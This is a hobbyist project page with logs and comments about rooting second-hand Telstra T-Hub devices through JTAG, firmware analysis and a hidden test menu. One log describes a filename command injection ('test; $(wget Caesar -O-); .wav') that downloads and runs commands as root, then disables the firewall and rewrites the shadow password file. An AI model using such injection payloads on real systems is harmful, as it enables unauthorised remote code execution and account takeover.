Telstra T-Hub rooting/repurposing

This is an attempt to reuse the mostly useless Telstra T-Hubs that are popping up for peanuts in various secondhand places in Australia

Similar projects worth following
Recently I have noticed and influx of these devices in local secondhand and junk stores, and seeing as they have an iMX31 or iMX51 CPU, a decent battery, a display and a version of FreeScale Linux installed, I figured it'd be cool to breathe some new life into them.

# Voipac VPACLink

telnet_port     4444
gdb_port        3333

#interface ft2232
#ft2232_device_desc "VPACLink"
#ft2232_layout oocdlink
#ft2232_vid_pid 0x0403 0x6010
#adapter_khz 100

interface ftdi
ftdi_device_desc "Dual RS232-HS"
ftdi_vid_pid 0x0403 0x6010
ftdi_layout_init 0x0c08 0x0f1b
ftdi_layout_signal nTRST -data 0x0100 -noe 0x0400
ftdi_layout_signal nSRST -data 0x0200 -noe 0x0800
adapter_khz 1000

#reset_config none

# Freescale i.MX51
if { [info exists CHIPNAME] } {
} else {
   set  _CHIPNAME imx51

# CoreSight Debug Access Port
if { [info exists DAP_TAPID ] } {
} else {
   set _DAP_TAPID 0x1ba00477

jtag newtap $_CHIPNAME DAP -irlen 4 -ircapture 0x1 -irmask 0xf \
        -expected-id $_DAP_TAPID

jtag newtap $_CHIPNAME SDMA -irlen 4 -ircapture 0x0 -irmask 0xf

if { [info exists SJC_TAPID ] } {
} else {
   set _SJC_TAPID 0x0190c01d

jtag newtap $_CHIPNAME SJC -irlen 5 -ircapture 0x1 -irmask 0x1f \
        -expected-id $_SJC_TAPID -ignore-version

# GDB target:  Cortex-A, using DAP
target create $_TARGETNAME cortex_a -chain-position $_CHIPNAME.DAP -dbgbase 0x60008000

# some TCK tycles are required to activate the DEBUG power domain
jtag configure $_CHIPNAME.SJC -event post-reset "runtest 100"

# have the DAP "always" be active
jtag configure $_CHIPNAME.SJC -event setup "jtag tapenable $_CHIPNAME.DAP"

nand device 29F4G08ABADA mx5 $_TARGETNAME hwecc biswap


proc imx51_dbginit {target} {
     # General Cortex A debug initialisation
     cortex_a dbginit

proc load_uboot {} {
	arm core_state arm
        load_image /home/theosoft/imx-build/u-boot/u-boot.bin 0x97800000
#	sdhc 0 0x97800000 0x400 0x4d000
	step 0x97800000

proc n_steps {steps} {
	for {set a 0} {$a <= $steps} {incr a 1} { 
# Debug Status and Control register
proc dscr {} {
	echo [format 0x%08x [arm mrc 14 0 0 1 0]]

# MMU disable
proc mmud {} {
	reg cpsr 0x1d3
	echo [format 0x%08x [arm mrc 15 0 1 0 0]]
	arm mcr 15 0 1 0 0 [expr {[arm mrc 15 0 1 0 0] & 0xffffcc7a}]

proc wdt_disable {} {
	# disable WDT
	mwh 0x73f98000 0x3

# This program resets the regs to the address 0x17800000
#   making the incorrect assumption that the start of the code
#   is located there.
# It sets up the cpsr so we can run the code properly.
proc clear_regs {} {
     puts "clear_regs begin"
     reg r1 0
     reg r2 0
     reg r3 0
     reg r4 0
     reg r5 0
     reg r6 0
     reg r7 0
     reg r8 0
     reg r9 0
     reg r10 0
     reg r11 0
     reg r12 0

     # assume our executable is at 0x17800000. otherwise the
     #   user must manually set the value after a reset.
     reg pc  0x97801000

     # shamelessly stolen from the samsung configuration
     #   this fixes problems executing loaded code.
     reg cpsr 0x1d3
     arm mcr 15 0 15 2 4 0x70000013

     puts "clear_regs end"

# MMU enable
proc mmue {} {
	reg cpsr 0x1d3
	echo [format 0x%08x [arm mrc 15 0 1 0 0]]
	arm mcr 15 0 1 0 0 [expr {[arm mrc 15 0 1 0 0] | 0x00000005}]

# prepare memory access for registers AXI and IP
proc pm {} {
	dap apsel 1

# erase page 0 to enable bootstrap
proc bt_enable {} {
	#set high Address 
	mww 0xcfff1e04 0x0 
        mww 0xcfff1e24 0x0
	#set ram to block 0 and NFC reset
	mww 0xcfff1e34 0x0
	#set autocmd autoprogram
	mww 0xcfff1e00 0x0070D060
	# do auto_erase
	mww 0xcfff1e40 0x20
	sleep 500	
    	mdw 0xcfff1e3c

# program flash with autowrite NFC option
# number in  Range 0x00000000 - 0x000007ff --> Page 0
# number in  Range 0x00010000 - 0x000107ff --> Page 1

proc pfpart {p_start p_stop} {
# todo 
# NAND's CMD setzen 0x80 0x10
# RAM füllen
# Addr0 und Addr8 setzen
# Auto erase ??
# RAM Quelle setzen
# Autowrite setzen
# register read and set bits ??

#	set p_start 0x00030000
#	set p_stop 0x000030800
	set start_len [string length $p_start]
	set stop_len [string length $p_stop]

	if  [expr $start_len != 12] {break}
	if [expr $stop_len != 12] {break}
	scan $p_start %x start_int
	scan $p_stop %x stop_int
Read more »


Some additional notes and data harvested out of a running Linux system.

sheet - 24.28 kB - 08/20/2016 at 09:33



An example of the system boot messages.

plain - 16.32 kB - 08/20/2016 at 09:07



Dump of the 24C256 EEPROM containing boot strings and serial numbers.

eeprom - 32.00 kB - 08/20/2016 at 09:06


  • 1 × WinXP 32 Plattform for AdvancedToolKit from Freescale. Flashing over USB
  • 1 × Linux Host Plattform for other Tools
  • 1 × AdvancedToolKit by Freescale USB flashing iMX51 in bootstrap mode
  • 1 × hxyzs:// To extract Files and rebuild rootFS in UBIFS
  • 1 × openocd for JTAG ARM Initial erase og block 0 in NAND to enter bootstrapmode

View all 6 components

  • Looking at this again

    Troy08/20/2016 at 09:31 0 comments

    I've recently come into some more time to look at these again. I managed to repair some faults with boards I already had (be careful when playing with shorting pins on the NAND, you can very easily blow up a 6-pin PNP transistor in the power supply section!). I've decided to make a decent effort at porting a new OS. I'm pretty much sick of Linux these days so I'm going with something I find a bit more interesting: Windows Embedded. Specifically Windows Embedded Compact 7 (AKA Windows CE7).

    What works - generally

    • There is a working EBOOT image with somewhat functional support for the NAND FLASH - enough to store the system configuration, anyway. I still need to strip the FEC drivers out of this, because selecting them will cause the board to freeze when it goes looking for an ethernet controller that doesn't exist. The EBOOT code seems to ignore the BSP_NOETHER flag.
    • The EBOOT USB RNDIS download client
    • The EBOOT USB Serial download client
    • NK USB sync support. This works well enough to be able to use remote zoom-in to see what would be on the device screen, if the LCD driver worked... Unsurprisingly I am stuck at "calibrate display".
    • The rest of the things required to get an OS image to boot and run without crashing.

    What does not - specifically

    • Display - I have a working backlight driver, but I am still fighting the LCD driver. This is priority 1, and I feel like I am fairly close.
    • SD Controller - CE throws exceptions when cards are inserted and removed. The OS doesn't crash, but SD doesn't work. The fact that I get anything at all indicates that this is probably pretty close. It's priority 3.
    • WiFi - Doesn't work due to the lack of the SD controller support. Bluetooth might work, but I haven't tested it and I don't care enough yet.
    • Touchscreen - I don't think this works. The driver is included in the BSP, but touching the screen seems to have no effect on the image obtained by remote-zoom in. This is probably priority 2.
    • Audio - The MX51 development kit uses a different codec chip. I will need to write a driver for this before audio will work
    • Power button support - currently having this enabled in the BSP causes the board to shut down instantly once it boots. I suspect this is due to a misconfigured GPIO or pin MUX, or the driver is looking in the wrong place. Should be an easy fix.
    • NK NAND driver - Should be relatively easy to get the NAND driver from the EBOOT to work for the NK, but I haven't tried yet. Again, should be an easy fix but I am expecting trouble. Tied with the SD controller for priority 3.
    • DECT - I haven't even started on reverse engineering this so obviously there's no support. Being an SPI peripheral this should be fairly straightforward to implement - provided that SPI works there's no real hardware work needed for the driver.
    • RTC - The OS throws errors about writing to this every few minutes. I suspect this means that CE is not able to remember the time yet. Again, should be an easy fix.

    What hasn't been tested at all

    • USB Host - I suspect that this might work, but I can't enable it while I am still dependent on the USB Sync connection to work with the device.
    • Bluetooth - I don't care about this enough yet.
    • Keypad support - I disabled this at the same time as the Power Button driver to work around the issue with the board shutting down once boot had finished.


    I expect to get display off of the not working list very shortly. Once that is done the next tasks for me are:

    1. Touchscreen
    2. NK NAND drivers
    3. SD Controller
    4. Wireless
    5. Audio
    6. Bluetooth
    7. Keypad
    8. Power Button
    9. DECT - I am interested in using this as a lightweight, long range data network for my automation and control stuff, which is what the T-Hubs are slated for right now.
    10. RTC (maybe - this might be a little higher depending on what happens)

  • Turboscreen Platform reverse-engineering notes

    Troy08/20/2016 at 09:01 0 comments

    These are just general notes from my reverse engineering efforts. No effort has been made to present them in a tidy manner, expect a write-up later.

    • The display is connected to DI0 *NOT* DI1 as I had previously assumed.
    • Backlight is wired into PWM unit #1. Freescale intended the PWM modules for audio use but in this case that isn't what's happening. From what I can tell Freescale did a similar thing on one of their development boards, as there's a PWM based backlight driver in the Windows CE BSP for the MX50 EVK. I have ported this to the MX51 BSP, and it works fine.
    • Suspect that PMIC CS line is connected to GPIO16, based on this snippet
      STMFD   SP!, {R4,LR}
      MOV     R4, 0x73F84FFF  ; GPIO
      MOV     R1, #0
      MOV     R2, R1
      MOV     R0, #0x1F       ; regulator setting 1
      LDR     R12, [R4,#-0xFFB] ; GPIO1 Direction Register
      ORR     R12, R12, #0x10000 ; GPIO16 - Output
      STR     R12, [R4,#-0xFFB]
      LDR     R3, [R4,#-0xFFF] ; GPIO1 Data Register
      ORR     R3, R3, #0x10000 ; GPIO16 = On
      STR     R3, [R4,#-0xFFF]
      BL      write_pmic_     ; R0 = Register to use
                              ; R1 = Value to write
                              ; R2 = Write/_Read
    • Red/Green status leds are wired into the respective Red/Green channels on the MC13892's LED driver. Blue does not appear to be connected
    • Wireless is provided by a Gemtek GB86321G. This is a combination WiFi/Bluetooth. WiFi is exposed over SDIO, Bluetooth is a simple UART interface that should be wired direct to the SoC but I have not tested this. Datasheet here:
    • DECT setup is very different to the scheme used in the previous platform. Was previously connected over a USB host to a separate module but is now done using an on-board PNX8099 which I assume is a generic microprocessor. This appears to have been connected over SPI but probably has numerous other tie ins to GPIO. No data available. This will need extensive logic analysis to figure out. The PNX8099 has a small EEPROM (24C series) that I will dump later. Probably just has some serial numbers etc, it isn't big enough for firmware.
    • A 24C256 EEPROM contains the system serial number and some other details, including copies of the boot string. A dump will be attached shortly.
    • LCD fitted to the unit is a FG0700G3DSSWBG01 by Data Image. Datasheet here:
    • Getting one-time access to the downloader from JTAG is easy. Connect the JTAG probe, start OpenOCD and halt the board. Disable the MMU with "mmud", then set the PC to an invalid value "reg pc 123". Resume the target and the board should crash and enter the downloader. This prevents needing to screw around with erasing or shorting out FLASH pins.

  • root access

    theosoft04/19/2015 at 13:58 0 comments

    Full root access ....

    rcS has to be modified for that.

    for example:

    1. getty -L <dev> ; I removed -n and the screenlogin

    2. change iptable start to flush

    3. enable start of sshd

    I also moved the t-hub stuff in /etc/rc.d/init.d/ to a folder "disable".

    So these service are not started

  • Next steps

    Troy09/02/2014 at 13:53 0 comments

    Now that I have gotten root on my TurboScreen, I want to get my bricks working again too! Tomorrow I will hopefully get the chance to use my exploit against another iMX31 device from Hackerspace. I then plan to grab a copy of its bootloader and reverse engineer it. I know that it looks for a file on USB and SD at start time, so now I need to know specifically *WHAT* it is expecting. Watch this space!

  • Reinvestigating the Hidden Menu

    Troy09/02/2014 at 13:48 0 comments

    Today I acquired another TurboScreen, and instead of diving headlong into serious software and hardware hacks again, I decided to have another look at the Hidden Menu.

    Like most test software, the menu isn't designed for consumer use. It has bugs, crashes, is ugly and some parts just plain old don't work. It has all the hallmarks of having been put together in a real hurry. This got me thinking - if Sagem slapped it together for internal use, there's a real chance that they didn't do a great job of making it terribly sane or secure, right? So I started reading through the code.

    Two functions caught my eye fairly quickly. One is the firmware update utility, which does a fairly poor regex against the file list on a usb stick to look for firmware it recognises. For instance, it'll happily swallow a file I named "001.001.001.bin;reboot" and reboots just as one would expect. This looked very promising for getting root access, but there's one serious issue - the command strips out all the spaces from the filename, so you can forget trying to pass any arguments. Dead end.

    The second function is used in the testing of USB storage devices. It simply plays an audio file from a USB flash drive through the speakers. The restriction on this is that the filename must end in .wav, and like the firmware update function it does not do any sanitisation of the string. It even leaves the spaces in.


    Given that my input is in the form of a filename, I am prevented from using characters like pipes and slashes in my command. Initially this looked to be a bit of an issue, but it isn't. I recruited my friendly neighbourhood domain controller and fileserver, Caesar, and installed IIS on it. Then I stuck the real command I wanted to run into the index.html. By adjusting the filename to look something like this:

    "test; $(wget Caesar -O-); .wav"

    I was able to cause the T-Hub to download the command list from Caesar and then execute it. As root. By doing it this way I get around all character limitations.

    Getting close now.

    The first command I tried, having seen that the system has iptables installed, was this

    "iptables -I INPUT -j ACCEPT"

    Which effectively disabled the firewall around my tablet. I was then able to see an SSH server, but I still had no credentials. The next thing I did (after figuring out that the usb stick mounts itself as RO on the tablet) was to grab the shadow file from the device and copy it onto the usb stick. On examination, I discovered the user/pass combination user:user, which got me into SSH, albeit as an unprivileged user.

    I had previously tried to overwrite the shadow file, but it had been failing silently, which I suspected was because the root filesystem was read only. Now that I had a session, I was able to quickly confirm this. I crafted another command that would remount the UBIFS rootfs with write permission and then set shadow to have global write permissions. Once this was done, I adjusted the root password to a known value and connected to SSH again. I had root!

    For finishing touches, I went into the script and created an exception for the SSH server. This means that I can now connect to SSH as root without having to do any command injection trickery.

    This box is mine.

  • Under the hood

    Troy09/02/2014 at 13:28 0 comments

    The firmware files I retrieved all have a very simple layout. There's a head of 176 bytes or so which indicates the version, which firmware 'files' (flash partitions) are in the package, their length and their SHA1SUMs. Nothing too troublesome there. The filesystem in my images is a JFFS2 dump which can be mounted up with the help of mtdram on Linux.

    Once there, I started to have a poke around. The entirety of the UI runs inside of the Opera web browser, which has presumably been doctored for the job. No wonder it's so damn slow. I'd already seen my share of the consumer UI, so I started having a look for things that were hidden or that had been left in place from testing. A folder in /opt/www called HiddenMenu caught my attention almost instantly. A quick grep through the standard ui revealed that it could be entered by dialing *352# in the "Phone" side of the software.

    The Hidden Menu contains all sorts of interesting goodies and tidbits. There are a myriad of settings for I-don't-know-what, as well as all the production tests that one would expect. There's also a function for flashing the firmware using files from a USB stick (handy!). Now I have a way to get my own packages onto the device.

    This is exactly what I attempted to do, using a JFFS2 image that I had botched. Ka-BRICK. Whoops. Enter unit 2. This one I managed to kill by flashing firmware that was apparently too old for it.

    Fear not though! Because I have a third. This time, I decided to crack it open to try and JTAG and resurrect my two corpses.

    The third unit was not what I was expecting. Despite looking *almost* identical on the outside, the hardware on this is completely different.

    Meet the 'TurboScreen'.

    Packing an iMX51 CPU instead of the iMX31 of the regular devices, as well as half a gig of RAM and FLASH, these are some significantly more serious hardware. Sagem have a different codename for it, and it appears to be a much newer design. My TurboScreen seems to have a dead touchscreen, so that spelt a halt for a little while...

  • Firmware...

    Troy09/01/2014 at 13:59 0 comments

    Eventually I decided to do the sensible thing of having a play with the software already installed on the device and found a firmware update function. It doesn't take arbitrary files though - it will only download files from Telstra. I guess 1.15.C is the latest version, as this function refuses to do anything.

    Reluctantly, I troop off to Cashies again and grab another two devices. One appears to have a dead touchscreen, so I put that to the side for now (You'll see more of it later, it turned out to be the biggest curveball I'd seen in this little exercise). The other has an old version of the firmware installed. Bingo.

    I hook up a USB wireless dongle to my laptop and route the traffic across the two interfaces, then set up Wireshark. WS shows me that the device is talking to a TR69 server, designed to push down settings for things like routers automatically, without having to get the user involved. TR69 tells my device to download and flash a file located on one of Telstra's servers. I rip the cable out to stop the process, then have a look myself. Five minutes later I am the proud owner of one 001.015.003.bin file fresh from the oven.

    Next up, disassembling our firmware package.

  • Finding serial

    Troy09/01/2014 at 13:54 2 comments

    First thing's first - finding a UART.

    Thankfully, this was fairly simple for me. I have an oscilloscope and a FTDI board, so I poked around with the scope until I found something that looked like serial, then plugged in my FTDI. Bingo, we get boot text from a nasty proprietary bootloader (that I suspect MIGHT be based on redboot) followed by Linux 2.6 coming up. The pinout is attached to this project as an image. No console though, so I'll have to look elsewhere for getting in...

View all 8 project logs

Enjoy this project?



Tin wrote 01/28/2016 at 10:25 point

Just wanted to say I'm pretty interested in what people are doing here... I now have 2 units, so I suddenly have a stronger desire to make them useful - even if they're just turned into NTP capable clocks :p

  Are you sure? yes | no

Benji Martinez wrote 09/30/2015 at 23:36 point

existe algo con KL25Z???

  Are you sure? yes | no

theosoft wrote 06/06/2015 at 15:05 point
"orange tabbee tablet" seems to be a equal platform. google for it :)

  Are you sure? yes | no

theosoft wrote 05/07/2015 at 22:08 point

status: devicetree is most problematic. I don't now the CS definition for the MX51 to the PMIC. Normaly, it is GPIO4_24 and GPIO4_25. But the THUB seems to have a different connection. Unfortuanetly there are all the voltage regulators. So the LCD becomes white, because of overvoltage??

  Are you sure? yes | no

theosoft wrote 04/30/2015 at 20:21 point

status: u-boot 2015.4 booting with MMC support now. GPIO Pins have to be modified

Kernel 4.0.0 crashes will reading device tree. This is caused by laking HW information...

i am now trying to get a running dts file. Based on imx51evk.dts


  Are you sure? yes | no

theosoft wrote 04/26/2015 at 09:42 point

And before trying to erase block 0, be sure you have a backup !!

In my device is seem's, that kernelA was broken, but maybe it was caused by my playing around :)

  Are you sure? yes | no

theosoft wrote 04/25/2015 at 21:33 point

The openocd config isn't bugfree :)

Commands like:

clear_regs, dfpart (dump flash partly), pm (prepare memory), load_uboot (edit path !) bt_enable is used to enable bootstrap :) --> ATK is better then JTAG :) are OK

As i said before. JTAG is only active when POWER and the button close to the SD slot are pushed at the same time.

In the tty log, you will see a command line option JTAG=on

  Are you sure? yes | no

theosoft wrote 04/20/2015 at 20:17 point

Today i succeeded to start an u-boot binary 2015.04 on the mx51 :) nice 

  Are you sure? yes | no

theosoft wrote 04/18/2015 at 10:16 point

I think, one different way to start in bootstrap mode would be to "disable" the nand somehow. Disconnecting or hard pullup/pulldown CS or CE during startup. but only carefully because it may distroy the hw. Just an idear

The iMX51 will not be able to get the bootloader from nand an will enter bootstrap :)

  Are you sure? yes | no

theosoft wrote 04/17/2015 at 22:14 point

Ah, Hello Troy :) nice to see you back.

I am now able to do everything on that device.

I first ported "jtag-finder" to a nxp device.

With this i have found the JTAG.

After dumping the complete flash i recognized, that pushing the lower button on the left side during reboot, the device is using the spare kernel and rootfs.

But the main hack was, how to bring the device into bootstrap mode.

I decided to ersase block 0 in nand and after that, the t-hub was recognized as a USB device.

on the freescale side, there are some tools for iMX51. AdvancedToolKit is the most usefull one. Dumping an flashing the 512MB nand is finished after 170sec. :)

After all i patched some bytes in  the redboot binary. Now i am at the prompt at redboot.

(Pushing the 2nd button and power on).

I would say. Full control now.

The partitions inside are mostly UBI FS.

Just today i found a pretty nice tool called UBIREADER. It's python and does everything i need.

Extract the files from the nand dump and rebuild all into a image. With this tool i corrected the permissions on my rcS file directly on my linux host.

Flashing is done with the ATK. ATK, btw, is only stable and useable on a winxp 32 installation.


I can give you more info, if you like.

I would like to upload a picture regarding JTAG pinning. Is there an option here to do that?


  Are you sure? yes | no

Troy wrote 03/23/2015 at 21:37 point

Wow, excellent work theosoft! I will confess that I have not looked at these in a while. Our hackerspace was closed for a while and I moved house, so it fell off my radar. I have a JTAG adapter, so I will give this a try. Can you provide the pinout you found?

  Are you sure? yes | no

theosoft wrote 03/22/2015 at 19:53 point

I found the JTAG pinout and now i try to read the NAND flash.

JTAG is only activ, when pushing the button close to the sd-card during bootsequence.

This causes the boot-args are altered to jtag=on :)

Haven't found a programmer out of the box jet. I will try openocd.

  Are you sure? yes | no

theosoft wrote 02/21/2015 at 13:31 point

Unfortunaly i made a mistake during modifying rcS. I set wrong permissions for the file.

Now rcS isn't executed anymore. On the console i see a getty start/stop loop. no complete boot......

Brick because of missing JTAG info and hardware :(

But basicly also the MX51 is rootable. Serial interface could be found. The difference is, that the SSHD isn't running. But after making the rootfs writable, it is possible to start SSHD. Then the missing key files and the root directory are created.

The URL to download the update firmware is noticed inside the update log. It can be found in the production menu. The pin for parameter menu btw. is 1234 :)

Sad, but i have to look for a next experiment...


  Are you sure? yes | no

theosoft wrote 02/14/2015 at 17:24 point

Oh, i hope this will be continued.

I also have this unit on my desk :)

  Are you sure? yes | no

Similar Projects

Does this project spark your interest?

Become a member to follow this project and never miss any updates